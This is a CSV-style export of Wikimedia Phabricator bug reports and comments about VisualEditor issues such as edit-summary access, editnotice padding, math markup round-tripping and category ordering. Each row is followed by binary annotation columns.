+249357,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title",I think doing this via Wikidata identity would be a better way forward.,,,1385398709,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+52961,VisualEditor: Provide simultaneous access to editor and edit summary,"Two editors have commented independent in different place over the weekend on English Wikipedia about how they wish they could access the edit summary while using the VE instead of on save, because they track their changes as they go.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373304120,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_description,open,True,c1,3,False,False,,1,,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+782866,VisualEditor: Provide simultaneous access to editor and edit summary,@Sadads has suggested that the Tab key be used to switch between the article and the edit summary window.,,,1482427198,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,181,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+542578,VisualEditor: Provide simultaneous access to editor and edit summary,(Aaand there's an exception for that. See T114857.),,,1444222841,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,118,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+542083,VisualEditor: Provide simultaneous access to editor and edit summary,"(Although they won't be able to do so if they enabled the warning that doesn't allow to save without providing an edit summary, as noted at de.wiki. )",,,1444153431,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,118,,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+540927,VisualEditor: Provide simultaneous access to editor and edit summary,"On a related note: There's also no edit summary in the diff view (""review you changes""), just a save button. This tempts users to save without leaving an edit summary.",,,1443996374,,PHID-USER-ctff2aq5r64yvikejdwo,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,117,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+245223,VisualEditor: Provide simultaneous access to editor and edit summary,"Think this is also happening on PL.WP. 
+
+""Jeśli w okienku z polem służącym do opisu dokonanej zmiany klikniemy w link dotyczący sposobu opisywania zmian zostaniemy przekeierowani do strony Wikipedii z opisem tychże skrótów, jednak strona ta wyświetla się w tym samym małym okienku. Uniemożliwia to powrócenie to opisu modyfikacji a jednocześnie uniemożliwia zapisanie dokonanej zmiany w danym artykule. Michał (dyskusja) 11:36, 5 lis 2013 (CET)""
+
+https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#B.C5.82.C4.85d_w_okienku_opisu_zmian.",,,1383663034,,PHID-USER-brn4v5ta45bnw4f5as3h,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+245216,VisualEditor: Provide simultaneous access to editor and edit summary,+1. This is a particularly useful feature of the old editor.,,,1374780006,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+52956,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"An editor from pt.wikipedia writes:
+
+[E]ditnotices seems strange inside the flyout because there's a weird padding inside the popup, without the padding the templates would look nicer (there´s already padding in most edinotices templates by default). Dianakc (talk) 23:56, 6 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373302800,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_description,open,True,c1,3,False,False,,1,,0,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1
+245052,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"(In reply to comment #2)
+> Hi James,
+> 
+> I don't know what mean you by normal edit notices :) A simple 100% div, with
+> background color but without padding would look weird inside the flyout.
+> We are rethinking the editnotices design/content and right now they look
+> somewhat awkward within this asymmetrical padding. If someone ever need a
+> margin it can be done within the editnotices itself, but this mandatory
+> padding
+> limits the design a lot.
+
+Normal edit notices are text only (or bold/italics/links). Adding any further styling, including <span>s, <div>s, images, etc. is likely to break in a variety of situations and isn't really intended behaviour for the tool.",,,1379846011,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_subcomment,,True,c1,3,True,,,11,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+245048,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"Hi James,
+
+I don't know what mean you by normal edit notices :) A simple 100% div, with background color but without padding would look weird inside the flyout.
+We are rethinking the editnotices design/content and right now they look somewhat awkward within this asymmetrical padding. If someone ever need a margin it can be done within the editnotices itself, but this mandatory padding limits the design a lot.",,,1375490603,,PHID-USER-2u4zc7zmyw5qldxupou6,True,,,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_subcomment,,True,c1,3,False,,,4,,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+245043,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"(In reply to comment #0)
+> An editor from pt.wikipedia writes:
+> 
+> [E]ditnotices seems strange inside the flyout because there's a weird padding
+> inside the popup, without the padding the templates would look nicer (there´s
+> already padding in most edinotices templates by default). Dianakc (talk)
+> 23:56,
+> 6 July 2013 (UTC)
+
+I'm not sure that it's a better solution to get editors to make edit notices in uneditable HTML boxes, rather than the padding be system-level. The padding is designed to take normal edit notices; if you make fancy ones that break, the onus is generally on you. :-)
+
+Note that we're planning on having setting/editing/removing page-level edit notices built into VisualEditor in the next few months, which will make enwiki's solution available to all wikis.",,,1373303074,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+52938,Messing up Math formulas,"Several concerns noted about VisualEditor messing with math formulas when (evidently) the user was not attempting to edit the formula at all.
+
+https://en.wikipedia.org/w/index.php?title=Raising_and_lowering_indices&curid=11325244&diff=563062676&oldid=560490441
+
+https://en.wikipedia.org/w/index.php?title=Regression_analysis&curid=826997&diff=563265603&oldid=561802206
+
+https://en.wikipedia.org/w/index.php?title=Bipartite_double_cover&curid=21241712&diff=563327691&oldid=554035797
+
+I'm not sure if this is related to an existing bug or a different kind of thing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1373289300,1373592757.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-tlllnzr2q3k5zu3yv6nh,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+243930,Messing up Math formulas,"**cbm.wikipedia** wrote:
+
+This is a duplicate of bug 50291. It is a round tripping error in VisualEditor.
+
+%%%*** This bug has been marked as a duplicate of bug 50291 ***%%%",,,1373592757,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tlllnzr2q3k5zu3yv6nh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+243925,Messing up Math formulas,"The changes don't actually change the visual output. Just the way italics (used to mark variables) and superscript and subscript tags interact. So it might change ''e''<sup>''x''</sup> to ''e<sup>x</sup>'' you could say the former is better semantically. Other cases will split a complex superscript into two separate subscripts  ''K''<sub>''n'',''n''</sub> into ''K<sub>n</sub>''<sub>,''n''</sub>, visually the same but worse semantically.
+
+Marking as low priority as no visible change.",,,1373290493,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-tlllnzr2q3k5zu3yv6nh,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,1,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+52904,"VisualEditor: License text in save dialog is light gray, giving it a 'disabled' appearance","The save dialog uses a gray color on a very small text. This isn't good for contrast, and gives it rather 'light' color which might communicate a 'disabled' state to some users, which you don't want with a license text.
+
+Just as with Special:UserLogin, I think we should switch to a slightly darker gray on small text.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373232780,1483659684.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-3ydcw352v55xv74m7jhi,task_description,resolved,True,c1,3,True,False,False,0,,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+787972,"VisualEditor: License text in save dialog is light gray, giving it a 'disabled' appearance",This has been [[ https://phabricator.wikimedia.org/rEVED48db1c16f81091f62d82539b2a41fede49ba7915 | changed to `#54595d` in wmf/1.29.0-wmf.7 ]] and fulfills WCAG 2.0 level AAA conformance.,,,1483659684,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-3ydcw352v55xv74m7jhi,task_subcomment,,True,c1,3,True,,,183,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+241927,"VisualEditor: License text in save dialog is light gray, giving it a 'disabled' appearance",The meta-design of the save process for wikitext and for VisualEditor are being reviewed by Design and by Legal right now; hopefully there'll be an update soon enough.,,,1385380440,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ydcw352v55xv74m7jhi,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52883,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"Perhaps when the [[WP:Tutorial]] on enwiki is updated for VE, we will want to enable VE on the tutorial sandboxes.
+
+Also, when VE is enabled for anonymous editors, we might want to turn on VE in the enwiki [[WP:Sandbox]], because otherwise anons won't have anywhere to play with VE (they cannot create user pages).
+
+Perhaps a category (similar to the way AFTv5 does it) or MediaWiki page (like Echo blacklist) would be the way to do it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1373193180,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cudr7dbtubp7jj3ldgha,task_description,open,True,c1,3,False,False,,0,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+2386815,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"It’s great that enabling VE in Wikipedia namespace is less risky now, but I think the current feature request (enabling it more granularly than on the namespace level) is still valid, exactly because of the limitations (risks) you’ve mentioned.",,,1722169176,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,577,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+2385989,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"Turning VE on at Wikipedia: namespace was a problem as some pages at this namespace are used for discussions. The visual editor is not designed to handle discussions, but Discussion tools are. Now that DT is available everywhere,[[ https://www.mediawiki.org/wiki/Help:VisualEditor/FAQ#WPNS |  it is possible to enable VE at namespaces that are used for discussions, with limitations ]]. ",,,1721988681,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,577,,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+1743605,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"This is a huge pain point, newbies cannot try out the tool in the sandbox that was created specifically for them…
+
+>>! In T52883#5193760, @matmarex wrote:
+> You can put a big blue button or something with such a link on sandbox pages, see e.g. <https://de.wikipedia.org/wiki/Wikipedia:Spielwiese>.
+This has three issues:
+* The link is not where it is on other pages. On the one side, it’s more prominent, which is good, but on the other side, it’s inconsistent, which is bad.
+* It uses an external link, which means that
+** the domain name is fixed, it’s `de.wikipedia.org` even if the user browses through `de.m.wikipedia.org` (i.e. mobile view); if they’re not redirected back to the mobile site automatically, they find themselves in a totally different interface than where they were;
+** a new page load is initiated upon clicking, in contrast to the usual VE loading, where the page isn’t entirely reloaded.",,,1624489831,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,416,,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1
+1283553,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"Also, note that the &veaction=edit URL parameter can now also be used to open VE on pages where it's normally not available (T221892). You can put a big blue button or something with such a link on sandbox pages, see e.g. <https://de.wikipedia.org/wiki/Wikipedia:Spielwiese>.",,,1558194860,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,True,,,306,,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+1283550,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"If we ever do it, I think it should be done using a double-underscore keyword placed on the page (or in a transcluded template), e.g. `__VISUALEDITOR__`. This would be analogous to e.g. the `__NEWSECTIONLINK__` keyword.",,,1558194738,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,True,,,306,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+240782,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"While bug 55900 now allows logged-out users to invoke VE in the namespaces where it is already available, in the meantime I hope communities created temporary sandboxes in one of said namespaces :) (The Italian one did, it's basically a subpage of mine).",,,1388962544,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,26,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+240777,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"For the record: on ptwiki we also have a few sandboxes on Project namespace:
+[[pt:Special:PrefixIndex/WP:Página_de_testes/]]",,,1373856039,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+52882,VisualEditor: Place page meta-data in expected order,"**Author:** `KilliondudeWP`
+
+**Description:**
+1) Have categories on a page with a stub tag underneath - https://en.wikipedia.org/w/index.php?title=Rosebud_Ranch&oldid=563208475 (note that this is SOP on enwiki per https://en.wikipedia.org/wiki/Wikipedia:ORDER#ORDER )
+
+2) Edit the categories using VE to deleted one and modify another - https://en.wikipedia.org/w/index.php?title=Rosebud_Ranch&diff=563208669&oldid=563208475
+
+3) End up with newly formed category underneath the stub template as well as some line breaks taken out. 
+
+I reported this in #mediawiki-visualeditor while everyone was sleeping. This is something that might just need an enwiki fix since we like to put stub tags under categories.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+* {T51143}
+* {T55508}
+* {T74048}",Low,25.0,1373181360,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zg7dy72bmhpynpamskgq,task_description,open,True,c1,3,False,False,,0,,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+442015,VisualEditor: Place page meta-data in expected order,"There's also an inconsistency in how VE inserts `{{DEFAULTSORT}}` and categories.
+
+If you edit the page's properties to add a `{{DEFAULTSORT}}`, apply, then edit the properties again to add a category, then the `{{DEFAULTSORT}}` is added before the category, as is usually expected based on community guidelines.
+
+However, if you do the sequence in the other order (add a category first, apply, then edit the properties again to add a `{{DEFAULTSORT}}`), then the `{{DEFAULTSORT}}` is added //after// the categories.
+
+Since the user doesn' t have a way to specify or change that order, VE should be consistent in how it outputs them in the wikitext.
+",,,1428688398,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,92,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+240748,VisualEditor: Place page meta-data in expected order,*** Bug 51714 has been marked as a duplicate of this bug. ***,,,1377833797,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240740,VisualEditor: Place page meta-data in expected order,"The reasons behind [[WP:ORDER]] are:
+1) We want ""stub categories"" to appear Last in the list of categories.
+2) We want 2 blank lines preceding stub-templates, for whitespace. (Other ways of achieving this are more complex, or don't work for articles with multiple stub-templates.)
+See example of both factors, at http://en.wikipedia.org/w/index.php?title=Milo_McCarger&oldid=532917627
+
+
+(To quote the [[WP:ORDER]] reference here, for ease of access: ""While categories are entered on the editing page ahead of stub templates, they appear on the visual page in a separate box after the stub templates. One of the reasons this happens is that every stub template generates a stub category, and those stub categories appear after the ""main"" categories. Another is that certain bots and scripts are set up to expect the cats, stubs and ILLs to appear in that order, and will reposition them if they don't. Therefore, any manual attempt to change the order is doomed unless the bots and scripts are also altered."")",,,1373650166,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1
+240734,VisualEditor: Place page meta-data in expected order,"(In reply to comment #2)
+> The problem here is not specifically ""stub templates"", but the general idea
+> that some items of content - in this case, on one wiki, a sub-type of
+> template that is trivially-identifiable to humans but not necessarily so for
+> software - should have its own special ordering when the page is
+> re-serialised. The explanation for why this (relatively new?) policy change
+> for enwiki seems to be absent [...]
+
+This practice has been documented at [[WP:LAYOUT]] for at least a few years. It's been standard practice since before then. There's a note in the current version of that document that explains that it's due to a battle with bots (notable AutoWikiBrowser, as I recall). Because most people add stub categories with AWB or similar scripts, the conventions those tools use become (or rather, became) wiki conventions.
+
+I agree with the general point that we should move this type of information (whether a page is a stub and if so, what kind of stub) to a metadata area.",,,1373422161,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,1
+240727,VisualEditor: Place page meta-data in expected order,Moving back to VE as this is handled in VE until we move metadata out of the body.,,,1373400958,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+240719,VisualEditor: Place page meta-data in expected order,"In the medium term I'd like to move metadata like categories out of the page and into a header section (see bug 49143).
+
